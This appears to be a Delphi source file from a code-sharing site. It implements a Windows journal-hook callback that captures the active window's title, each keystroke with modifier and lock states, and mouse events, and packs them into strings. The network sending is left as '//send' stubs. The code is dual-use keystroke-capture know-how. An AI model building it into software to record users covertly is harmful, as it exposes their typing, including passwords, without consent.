MouseKeyboardMon.pas
上传用户:rickyhu
上传日期:2007-05-27
资源大小:842k
文件大小:2k
源码类别:

控制台编程

开发平台:

Delphi

  1. ///////////////////////////////////////////////////////////////////////////////
  2. //
  3. // 2004 (C) Copyrights Reserved 
  4. // Author:Huang Qiang
  5. //
  6. ////////////////////////////////////////////////////////////////////////////////
  7. unit MouseKeyboardMon;
  8. interface
  9. uses
  10.   Windows, Messages, SysUtils;
  11.   function MonMouseKeyboard(iCode:Integer;wparam,lparam:LongInt):LRESULT;stdcall;
  12. implementation
  13. uses Main;
  14. function MonMouseKeyboard(iCode:Integer;wparam,lparam:LongInt):LRESULT;stdcall;
  15. var
  16.   vKey:Integer;
  17.   FocusWnd:HWND;
  18.   ConKeyState:array [0..4] of Char;
  19.   Title:array[0..255] of Char;
  20.   pEvt:^EVENTMSG;
  21.   StrInfo:String;
  22. begin
  23.   if(iCode<0)then
  24.   begin
  25.     Result:=CallNextHookEx(MonHook,iCode,wParam,lParam);
  26.     exit;
  27.   end;
  28.   if(iCode=HC_ACTION) then
  29.   begin
  30.     pEvt:=Pointer(DWord(lParam));
  31.     FocusWnd:=GetActiveWindow;
  32.     if(LastFocusWnd<>FocusWnd) then
  33.     begin
  34.       GetWindowText(FocusWnd,Title,256);
  35.       LastFocusWnd:=FocusWnd;
  36.       StrInfo:='10|'+String(Title);
  37.       //////////////////////
  38.       //send
  39.       //////////////////////
  40.     end;
  41.     if((pEvt.message=256)or(pEvt.message=257)) then
  42.     begin
  43.       vKey:=LOBYTE(pEvt.paramL);
  44.       //control key
  45.       if(GetKeyState($11)<0) then
  46.         ConKeyState[0]:='1'
  47.       else
  48.         ConKeyState[0]:='0';
  49.       //alt key
  50.       if(GetKeyState($12)<0) then
  51.         ConKeyState[1]:='1'
  52.       else
  53.         ConKeyState[1]:='0';
  54.       //shift key
  55.       if(GetKeyState($10)<0) then
  56.         ConKeyState[2]:='1'
  57.       else
  58.         ConKeyState[2]:='0';
  59.       //caps lock key
  60.       if(GetKeyState($14)<>0) then
  61.         ConKeyState[3]:='1'
  62.       else
  63.         ConKeyState[3]:='0';
  64.       //num lock key
  65.       if(GetKeyState($90)<>0) then
  66.         ConKeyState[4]:='1'
  67.       else
  68.         ConKeyState[4]:='0';
  69.       StrInfo:='6'+IntToStr(pEvt.message-256)+'|'
  70.         +IntToHex(vKey,2)+'|'+String(ConKeyState);
  71.       //send
  72.     end
  73.     else if(pEvt.message>=512)and(pEvt.message<=521) then
  74.     begin
  75.       StrInfo:='7'+IntToStr(pEvt.message-512)+'|'
  76.         +IntToHex(pEvt.paramL,2)+'|'+IntToHex(pEvt.paramH,2);
  77.       //send
  78.     end;
  79.   end;
  80.   Result:=CallNextHookEx(MonHook, iCode, wParam, lParam);
  81. end;
  82. end.